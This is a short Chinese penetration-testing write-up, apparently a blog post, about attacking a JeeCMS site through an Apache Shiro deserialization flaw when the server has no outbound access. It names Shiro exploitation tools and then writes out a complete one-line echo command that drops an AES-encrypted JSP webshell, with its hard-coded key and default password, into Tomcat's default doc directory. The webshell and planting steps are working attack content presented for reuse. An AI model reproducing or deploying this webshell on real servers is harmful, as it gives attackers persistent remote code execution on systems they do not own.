起因
某日同事說遇到一個存在shiro反序列化的站點。
此站點為jeecms，此站點不出網。
首先jeecms的web目錄是不解析你上傳的jsp、jspx文件的應該是在web.xml文件中做了限制。
內存shell
首先想到的是寫內存shell，因為之前遇到的這種情況就是這么搞的。
寫內存shell的話有下面兩款開源工具。
https://github.com/j1anFen/shiro_attack
此工具即可上馬也可以上regeorg正好滿足我們的需求
https://github.com/fupinglee/ShiroScan
這款好像沒有上內存regeorg的功能
但是使用這兩款工具上內存shell都沒有成功。
tomcat默認目錄
此站點為windows，shiro執行命令默認在tomcat的bin目錄。
首先dir確定tomcat目錄，訪問tomcat wepapps發現存在tomcat默認自帶的doc目錄。
使用echo往此目錄中寫入webshell
echo ^<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%^>^<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%^>^<%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*該密鑰為連接密碼32位md5值的前16位，默認連接密碼rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%^> > D:\xxx\webapps\doc\ssss.jsp
shell路徑為www.xxx.com/doc/ssss.jsp
如果沒有doc目錄的話可以再webapps目錄下新建文件夾上傳shell。